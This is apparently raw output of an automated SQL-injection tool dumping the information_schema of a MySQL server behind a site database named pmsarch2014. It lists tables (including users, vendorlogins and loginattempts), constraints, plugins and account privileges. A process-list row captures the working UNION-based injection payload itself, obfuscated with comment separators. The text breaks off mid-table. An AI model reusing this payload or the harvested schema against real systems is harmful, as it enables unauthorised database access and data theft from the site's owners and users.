| | | INNODB_BUFFER_PAGE | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 14680064 | | | | 56 | | | | | | INNODB_FT_DEFAULT_STOPWORD | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16744898 | | | | 1054 | | | | | | INNODB_FT_INDEX_TABLE | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16744898 | | | | 1054 | | | | | | INNODB_FT_INDEX_CACHE | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16752582 | | | | 2133 | | | | | | INNODB_SYS_TABLESPACES | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16742448 | | | | 2994 | | | | | | INNODB_METRICS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16738848 | | | | 1748 | | | | | | INNODB_SYS_FOREIGN_COLS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 15204352 | | | | 29 | | | | | | INNODB_CMPMEM | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16332350 | | | | 257 | | | | | | INNODB_BUFFER_POOL_STATS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16613350 | | | | 610 | | | | | | INNODB_SYS_COLUMNS | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16700064 | | | | 1752 | | | | | | INNODB_SYS_FOREIGN | | information_schema | 0 | | | | | 2021-05-22 17:39:17 | def | 0 | | | 0 | | 0 | 16763355 | | | | 1215 | | | | | | INNODB_SYS_TABLESTATS | | information_schema | 0 | | | | | 2020-11-11 19:22:19 | comments | 32768 | | | 0 | | 16384 | | | | | 0 | | | def | | | 0 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | design2_images | 0 | | | 0 | | 16384 | | | | | 546 | | | def | | | 30 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | design3_images | 0 | | | 0 | | 16384 | | | | | 963 | | | def | | | 17 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | design4_images | 0 | | | 0 | | 16384 | | | | | 1024 | | | def | | | 16 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | design5_images | 0 | | | 0 | | 16384 | | | | | 1489 | | | def | | | 11 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | design6_images | 0 | | | 0 | | 16384 | | | | | 3276 | | | def | | | 5 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | design7_images | 0 | | | 0 | | 16384 | | | | | 963 | | | def | | | 17 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | design8_images | 0 | | | 0 | | 16384 | | | | | 1638 | | | def | | | 10 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | design9_images | 0 | | | 0 | | 16384 | | | | | 1260 | | | def | | | 13 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | design_images | 0 | | | 0 | | 16384 | | | | | 1092 | | | def | | | 15 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | designs | 0 | | | 0 | | 81920 | | | | | 27306 | | | def | | | 3 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | designs2 | 0 | | | 0 | | 16384 | | | | | 2730 | | | def | | | 6 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | designs3 | 0 | | | 0 | | 16384 | | | | | 2730 | | | def | | | 6 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | designs4 | 0 | | | 0 | | 16384 | | | | | 2730 | | | def | | | 6 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | designs5 | 0 | | | 0 | | 16384 | | | | | 2730 | | | def | | | 6 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | designs6 | 0 | | | 0 | | 16384 | | | | | 8192 | | | def | | | 2 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | designs7 | 0 | | | 0 | | 16384 | | | | | 2340 | | | def | | | 7 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | designs8 | 0 | | | 0 | | 16384 | | | | | 5461 | | | def | | | 3 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | designs9 | 0 | | | 0 | | 16384 | | | | | 2730 | | | def | | | 6 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | feed | 0 | | | 0 | | 16384 | | | | | 2730 | | | def | | | 6 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | feedsettings | 0 | | | 0 | | 49152 | | | | | 136 | | | def | | | 360 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | loginattempts | 0 | | | 0 | | 16384 | | | | | 172 | | | def | | | 95 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | posts | 16384 | | | 0 | | 49152 | | | | | 1003 | | | def | | | 49 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | posts_to_feed | 32768 | | | 0 | | 16384 | | | | | 334 | | | def | | | 49 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | ratings | 0 | | | 0 | | 16384 | | | | | 0 | | | def | | | 0 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | sectiongroups | 0 | | | 0 | | 16384 | | | | | 5461 | | | def | | | 3 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | sections | 16384 | | | 0 | | 16384 | | | | | 0 | | | def | | | 0 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | sectionsettings | 0 | | | 0 | | 16384 | | | | | 0 | | | def | | | 0 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | settings | 0 | | | 0 | | 16384 | | | | | 1170 | | | def | | | 14 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | tags | 16384 | | | 0 | | 16384 | | | | | 0 | | | def | | | 0 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | tags_to_posts | 16384 | | | 0 | | 16384 | | | | | 0 | | | def | | | 0 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | users | 16384 | | | 0 | | 16384 | | | | | 8192 | | | def | | | 2 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | users_to_comments | 16384 | | | 0 | | 16384 | | | | | 0 | | | def | | | 0 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | vendorfiles | 0 | | | 0 | | 16384 | | | | | 4096 | | | def | | | 4 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | vendorlogins | 16384 | | | 0 | | 16384 | | | | | 5461 | | | def | | | 3 | | | pmsarch2014 | | | | | 2020-11-11 19:22:19 | vendors_to_files | 32768 | | | 0 | | 16384 | | | | | 3276 | | | def | | | 5 | | | pmsarch2014 | | | | +---------------------+-------------------+-----------+------------+------------+------------+-------------+-------------+-------------+--------------+--------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+---------------------------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+ Database: information_schema Table: OPTIMIZER_TRACE [0 entries] +-------+-------+-------------------------+-----------------------------------+ | QUERY | TRACE | INSUFFICIENT_PRIVILEGES | MISSING_BYTES_BEYOND_MAX_MEM_SIZE | +-------+-------+-------------------------+-----------------------------------+ +-------+-------+-------------------------+-----------------------------------+ Database: information_schema Table: PARAMETERS [0 entries] +-----------+--------------+---------------+---------------+----------------+----------------+----------------+----------------+-----------------+------------------+------------------+-------------------+--------------------+--------------------+------------------------+--------------------------+ | DATA_TYPE | ROUTINE_TYPE | SPECIFIC_NAME | NUMERIC_SCALE | COLLATION_NAME | DTD_IDENTIFIER | PARAMETER_NAME | PARAMETER_MODE | SPECIFIC_SCHEMA | SPECIFIC_CATALOG | ORDINAL_POSITION | NUMERIC_PRECISION | CHARACTER_SET_NAME | DATETIME_PRECISION | CHARACTER_OCTET_LENGTH | CHARACTER_MAXIMUM_LENGTH | +-----------+--------------+---------------+---------------+----------------+----------------+----------------+----------------+-----------------+------------------+------------------+-------------------+--------------------+--------------------+------------------------+--------------------------+ +-----------+--------------+---------------+---------------+----------------+----------------+----------------+----------------+-----------------+------------------+------------------+-------------------+--------------------+--------------------+------------------------+--------------------------+ Database: information_schema Table: TABLE_PRIVILEGES [0 entries] +---------+------------+--------------+--------------+---------------+----------------+ | GRANTEE | TABLE_NAME | IS_GRANTABLE | TABLE_SCHEMA | TABLE_CATALOG | PRIVILEGE_TYPE | +---------+------------+--------------+--------------+---------------+----------------+ +---------+------------+--------------+--------------+---------------+----------------+ Database: information_schema Table: TABLE_CONSTRAINTS [45 entries] +-------------------+--------------+-----------------+-------------------------+-------------------+--------------------+ | TABLE_NAME | TABLE_SCHEMA | CONSTRAINT_TYPE | CONSTRAINT_NAME | CONSTRAINT_SCHEMA | CONSTRAINT_CATALOG | +-------------------+--------------+-----------------+-------------------------+-------------------+--------------------+ | comments | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | comments | pmsarch2014 | UNIQUE | id | pmsarch2014 | def | | comments | pmsarch2014 | FOREIGN KEY | comments_ibfk_1 | pmsarch2014 | def | | design2_images | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | design3_images | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | design4_images | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | design5_images | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | design6_images | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | design7_images | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | design8_images | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | design9_images | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | design_images | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | designs | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | designs2 | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | designs3 | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | designs4 | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | designs5 | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | designs6 | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | designs7 | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | designs8 | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | designs9 | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | feed | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | feedsettings | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | posts | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | posts | pmsarch2014 | UNIQUE | id | pmsarch2014 | def | | posts_to_feed | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | posts_to_feed | pmsarch2014 | FOREIGN KEY | posts_to_feed_ibfk_1 | pmsarch2014 | def | | posts_to_feed | pmsarch2014 | FOREIGN KEY | posts_to_feed_ibfk_2 | pmsarch2014 | def | | ratings | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | sectiongroups | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | sections | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | sectionsettings | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | settings | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | tags | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | tags | pmsarch2014 | UNIQUE | id | pmsarch2014 | def | | tags_to_posts | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | tags_to_posts | pmsarch2014 | UNIQUE | id | pmsarch2014 | def | | users | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | users | pmsarch2014 | UNIQUE | id | pmsarch2014 | def | | users_to_comments | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | users_to_comments | pmsarch2014 | UNIQUE | id | pmsarch2014 | def | | vendorfiles | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | vendorlogins | pmsarch2014 | UNIQUE | id_2 | pmsarch2014 | def | | vendors_to_files | pmsarch2014 | PRIMARY KEY | PRIMARY | pmsarch2014 | def | | vendors_to_files | pmsarch2014 | FOREIGN KEY | vendors_to_files_ibfk_1 | pmsarch2014 | def | +-------------------+--------------+-----------------+-------------------------+-------------------+--------------------+ Database: information_schema Table: CHARACTER_SETS [41 entries] +--------+---------------------------------+--------------------+----------------------+ | MAXLEN | DESCRIPTION | CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | +--------+---------------------------------+--------------------+----------------------+ | 2 | Big5 Traditional Chinese | big5 | big5_chinese_ci | | 1 | DEC West European | dec8 | dec8_swedish_ci | | 1 | DOS West European | cp850 | cp850_general_ci | | 1 | HP West European | hp8 | hp8_english_ci | | 1 | KOI8-R Relcom Russian | koi8r | koi8r_general_ci | | 1 | cp1252 West European | latin1 | latin1_swedish_ci | | 1 | ISO 8859-2 Central European | latin2 | latin2_general_ci | | 1 | 7bit Swedish | swe7 | swe7_swedish_ci | | 1 | US ASCII | ascii | ascii_general_ci | | 3 | EUC-JP Japanese | ujis | ujis_japanese_ci | | 2 | Shift-JIS Japanese | sjis | sjis_japanese_ci | | 1 | ISO 8859-8 Hebrew | hebrew | hebrew_general_ci | | 1 | TIS620 Thai | tis620 | tis620_thai_ci | | 2 | EUC-KR Korean | euckr | euckr_korean_ci | | 1 | KOI8-U Ukrainian | koi8u | koi8u_general_ci | | 2 | GB2312 Simplified Chinese | gb2312 | gb2312_chinese_ci | | 1 | ISO 8859-7 Greek | greek | greek_general_ci | | 1 | Windows Central European | cp1250 | cp1250_general_ci | | 2 | GBK Simplified Chinese | gbk | gbk_chinese_ci | | 1 | ISO 8859-9 Turkish | latin5 | latin5_turkish_ci | | 1 | ARMSCII-8 Armenian | armscii8 | armscii8_general_ci | | 3 | UTF-8 Unicode | utf8 | utf8_general_ci | | 2 | UCS-2 Unicode | ucs2 | ucs2_general_ci | | 1 | DOS Russian | cp866 | cp866_general_ci | | 1 | DOS Kamenicky Czech-Slovak | keybcs2 | keybcs2_general_ci | | 1 | Mac Central European | macce | macce_general_ci | | 1 | Mac West European | macroman | macroman_general_ci | | 1 | DOS Central European | cp852 | cp852_general_ci | | 1 | ISO 8859-13 Baltic | latin7 | latin7_general_ci | | 4 | UTF-8 Unicode | utf8 | utf8_general_ci | | 1 | Windows Cyrillic | cp1251 | cp1251_general_ci | | 4 | UTF-16 Unicode | utf16 | utf16_general_ci | | 4 | UTF-16LE Unicode | utf16le | utf16le_general_ci | | 1 | Windows Arabic | cp1256 | cp1256_general_ci | | 1 | Windows Baltic | cp1257 | cp1257_general_ci | | 4 | UTF-32 Unicode | utf32 | utf32_general_ci | | 1 | Binary pseudo charset | binary | binary | | 1 | GEOSTD8 Georgian | geostd8 | geostd8_general_ci | | 2 | SJIS for Windows Japanese | cp932 | cp932_japanese_ci | | 3 | UJIS for Windows Japanese | eucjpms | eucjpms_japanese_ci | | 4 | China National Standard GB18030 | gb18030 | gb18030_chinese_ci | +--------+---------------------------------+--------------------+----------------------+ Database: information_schema Table: SCHEMATA [2 entries] +----------+--------------------+--------------+------------------------+----------------------------+ | SQL_PATH | SCHEMA_NAME | CATALOG_NAME | DEFAULT_COLLATION_NAME | DEFAULT_CHARACTER_SET_NAME | +----------+--------------------+--------------+------------------------+----------------------------+ | | information_schema | def | utf8_general_ci | utf8 | | | pmsarch2014 | def | utf8_general_ci | utf8 | +----------+--------------------+--------------+------------------------+----------------------------+ Database: information_schema Table: PLUGINS [45 entries] +-------------+--------------------+----------------+---------------+--------------------------------------------+----------------+----------------+----------------+---------------------------------------------------------------------------+---------------------+----------------------------+ | LOAD_OPTION | PLUGIN_NAME | PLUGIN_TYPE | PLUGIN_STATUS | PLUGIN_AUTHOR | PLUGIN_VERSION | PLUGIN_LIBRARY | PLUGIN_LICENSE | PLUGIN_DESCRIPTION | PLUGIN_TYPE_VERSION | PLUGIN_LIBRARY_VERSION | +-------------+--------------------+----------------+---------------+--------------------------------------------+----------------+----------------+----------------+---------------------------------------------------------------------------+---------------------+----------------------------+ | FORCE | STORAGE ENGINE | 1.0 | 50732.0 | MySQL AB | | GPL | ACTIVE | This is a pseudo storage engine to represent the binlog in a transaction | | binlog | | FORCE | AUTHENTICATION | 1.1 | 1.1 | R.J.Silk, Sergei Golubchik | | GPL | ACTIVE | Native MySQL authentication | | mysql_native_password | | FORCE | AUTHENTICATION | 1.1 | 1.1 | Oracle | | GPL | ACTIVE | SHA256 password authentication | | sha256_password | | FORCE | STORAGE ENGINE | 0.1 | 50732.0 | Marc Alff, Oracle | | GPL | ACTIVE | Performance Schema | | PERFORMANCE_SCHEMA | | FORCE | STORAGE ENGINE | 1.0 | 50732.0 | Brian Aker, MySQL AB | | GPL | ACTIVE | CSV storage engine | | CSV | | FORCE | STORAGE ENGINE | 1.0 | 50732.0 | MySQL AB | | GPL | ACTIVE | MyISAM storage engine | | MyISAM | | FORCE | STORAGE ENGINE | 1.0 | 50732.0 | MySQL AB | | GPL | ACTIVE | Collection of identical MyISAM tables | | MRG_MYISAM | | FORCE | STORAGE ENGINE | 1.0 | 50732.0 | MySQL AB | | GPL | ACTIVE | Hash based, stored in memory, useful for temporary tables | | MEMORY | | FORCE | STORAGE ENGINE | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | Supports transactions, row-level locking, and foreign keys | | InnoDB | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB transactions | | INNODB_TRX | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB conflicting locks | | INNODB_LOCKS | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB which lock is blocking which | | INNODB_LOCK_WAITS | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compression | | INNODB_CMP | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compression; reset cumulated counts | | INNODB_CMP_RESET | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compressed buffer pool | | INNODB_CMPMEM | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compressed buffer pool; reset cumulated counts | | INNODB_CMPMEM_RESET | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compression (per index) | | INNODB_CMP_PER_INDEX | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compression (per index); reset cumulated counts | | INNODB_CMP_PER_INDEX_RESET | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB Buffer Page Information | | INNODB_BUFFER_PAGE | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB Buffer Page in LRU | | INNODB_BUFFER_PAGE_LRU | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB Buffer Pool Statistics Information | | INNODB_BUFFER_POOL_STATS | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB Temp Table Stats | | INNODB_TEMP_TABLE_INFO | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB Metrics Info | | INNODB_METRICS | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | Default stopword list for InnDB Full Text Search | | INNODB_FT_DEFAULT_STOPWORD | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | INNODB AUXILIARY FTS DELETED TABLE | | INNODB_FT_DELETED | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | INNODB AUXILIARY FTS BEING DELETED TABLE | | INNODB_FT_BEING_DELETED | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | INNODB AUXILIARY FTS CONFIG TABLE | | INNODB_FT_CONFIG | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | INNODB AUXILIARY FTS INDEX CACHED | | INNODB_FT_INDEX_CACHE | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | INNODB AUXILIARY FTS INDEX TABLE | | INNODB_FT_INDEX_TABLE | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_TABLES | | INNODB_SYS_TABLES | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_TABLESTATS | | INNODB_SYS_TABLESTATS | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_INDEXES | | INNODB_SYS_INDEXES | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_COLUMNS | | INNODB_SYS_COLUMNS | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_FIELDS | | INNODB_SYS_FIELDS | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_FOREIGN | | INNODB_SYS_FOREIGN | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_FOREIGN_COLS | | INNODB_SYS_FOREIGN_COLS | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_TABLESPACES | | INNODB_SYS_TABLESPACES | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_DATAFILES | | INNODB_SYS_DATAFILES | | FORCE | INFORMATION SCHEMA | 5.7 | 50732.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_VIRTUAL | | INNODB_SYS_VIRTUAL | | ON | STORAGE ENGINE | 1.0 | 50732.0 | Mikael Ronstrom, MySQL AB | | GPL | ACTIVE | Partition Storage Engine Helper | | partition | | ON | STORAGE ENGINE | 1.0 | 50732.0 | MySQL AB | | GPL | ACTIVE | /dev/null storage engine (anything you write to it disappears) | | BLACKHOLE | | OFF | STORAGE ENGINE | 1.0 | 50732.0 | Patrick Galbraith and Brian Aker, MySQL AB | | GPL | DISABLED | Federated MySQL storage engine | | FEDERATED | | ON | STORAGE ENGINE | 3.0 | 50732.0 | Brian Aker, MySQL AB | | GPL | ACTIVE | Archive storage engine | | ARCHIVE | | ON | FTPARSER | 0.1 | 1.1 | Oracle Corp | | GPL | ACTIVE | Ngram Full-Text Parser | | ngram | | ON | auth_socket | AUTHENTICATION | ACTIVE | Sergei Golubchik | 1.1 | auth_socket.so | GPL | Unix Socket based authentication | 1.1 | 1.7 | +-------------+--------------------+----------------+---------------+--------------------------------------------+----------------+----------------+----------------+---------------------------------------------------------------------------+---------------------+----------------------------+ Database: information_schema Table: PROCESSLIST [1 entry] +---------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------+-----------+-----------------+--------+---------+ | ID | DB | INFO | HOST | STATE | USER | TIME | COMMAND | +---------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------+-----------+-----------------+--------+---------+ | 3757284 | pmsarch2014 | SELECT * FROM designs3 WHERE id ='-6357'/**/UNION/**/ALL/**/SELECT/**/NULL,CONCAT(0x717a627171,JSON_ARRAYAGG(CONCAT_WS(0x74706e65686e,COMMAND,DB,HOST,ID,INFO,STATE,`TIME`,`USER`)),0x71707a6b71),NULL,NULL/**/FROM/**/information_schema.PROCESSLIST#' | 172.16.2.92:59356 | executing | pmsarch2014@new | 0 | Query | +---------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------+-----------+-----------------+--------+---------+ Database: information_schema Table: EVENTS [0 entries] +------+--------+--------+---------+---------+----------+-----------+------------+------------+------------+------------+------------+--------------+--------------+---------------+---------------+---------------+---------------+----------------+----------------+------------------+--------------------+----------------------+----------------------+ | ENDS | STARTS | STATUS | DEFINER | CREATED | SQL_MODE | TIME_ZONE | ORIGINATOR | EVENT_BODY | EVENT_TYPE | EXECUTE_AT | EVENT_NAME | LAST_ALTERED | EVENT_SCHEMA | EVENT_COMMENT | ON_COMPLETION | LAST_EXECUTED | EVENT_CATALOG | INTERVAL_FIELD | INTERVAL_VALUE | EVENT_DEFINITION | DATABASE_COLLATION | CHARACTER_SET_CLIENT | COLLATION_CONNECTION | +------+--------+--------+---------+---------+----------+-----------+------------+------------+------------+------------+------------+--------------+--------------+---------------+---------------+---------------+---------------+----------------+----------------+------------------+--------------------+----------------------+----------------------+ +------+--------+--------+---------+---------+----------+-----------+------------+------------+------------+------------+------------+--------------+--------------+---------------+---------------+---------------+---------------+----------------+----------------+------------------+--------------------+----------------------+----------------------+ Database: information_schema Table: ENGINES [9 entries] +---------+--------------------+----------------------------------------------------------------+---------+------------+--------------+ | XA | ENGINE | COMMENT | SUPPORT | SAVEPOINTS | TRANSACTIONS | +---------+--------------------+----------------------------------------------------------------+---------+------------+--------------+ | NO | PERFORMANCE_SCHEMA | Performance Schema | YES | NO | NO | | NO | MRG_MYISAM | Collection of identical MyISAM tables | YES | NO | NO | | NO | CSV | CSV storage engine | YES | NO | NO | | NO | BLACKHOLE | /dev/null storage engine (anything you write to it disappears) | YES | NO | NO | | NO | MyISAM | MyISAM storage engine | YES | NO | NO | | NO | MEMORY | Hash based, stored in memory, useful for temporary tables | YES | NO | NO | | NO | ARCHIVE | Archive storage engine | YES | NO | NO | | YES | InnoDB | Supports transactions, row-level locking, and foreign keys | DEFAULT | YES | YES | | | FEDERATED | Federated MySQL storage engine | | NO | | +---------+--------------------+----------------------------------------------------------------+---------+------------+--------------+ Database: information_schema Table: SCHEMA_PRIVILEGES [16 entries] +-----------------------+--------------+--------------+---------------+-------------------------+ | GRANTEE | IS_GRANTABLE | TABLE_SCHEMA | TABLE_CATALOG | PRIVILEGE_TYPE | +-----------------------+--------------+--------------+---------------+-------------------------+ | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | SELECT | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | INSERT | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | UPDATE | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | DELETE | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | CREATE | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | DROP | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | REFERENCES | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | INDEX | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | ALTER | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | CREATE TEMPORARY TABLES | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | LOCK TABLES | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | EXECUTE | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | CREATE VIEW | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | SHOW VIEW | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | CREATE ROUTINE | | 'pmsarch2014@new'@'%' | YES | pmsarch2014 | def | ALTER ROUTINE | +-----------------------+--------------+--------------+---------------+-------------------------+ Database: information_schema Table: COLLATIONS [222 entries] +-----+---------+------------+-------------+--------------------------+--------------------+ | ID | SORTLEN | IS_DEFAULT | IS_COMPILED | COLLATION_NAME | CHARACTER_SET_NAME | +-----+---------+------------+-------------+--------------------------+--------------------+ | 1 | 1 | Yes | Yes | big5_chinese_ci | big5 | | 84 | 1 | | Yes | big5_bin | big5 | | 3 | 1 | Yes | Yes | dec8_swedish_ci | dec8 | | 69 | 1 | | Yes | dec8_bin | dec8 | | 4 | 1 | Yes | Yes | cp850_general_ci | cp850 | | 80 | 1 | | Yes | cp850_bin | cp850 | | 6 | 1 | Yes | Yes | hp8_english_ci | hp8 | | 72 | 1 | | Yes | hp8_bin | hp8 | | 7 | 1 | Yes | Yes | koi8r_general_ci | koi8r | | 74 | 1 | | Yes | koi8r_bin | koi8r | | 5 | 1 | | Yes | latin1_german1_ci | latin1 | | 8 | 1 | Yes | Yes | latin1_swedish_ci | latin1 | | 15 | 1 | | Yes | latin1_danish_ci | latin1 | | 31 | 2 | | Yes | latin1_german2_ci | latin1 | | 47 | 1 | | Yes | 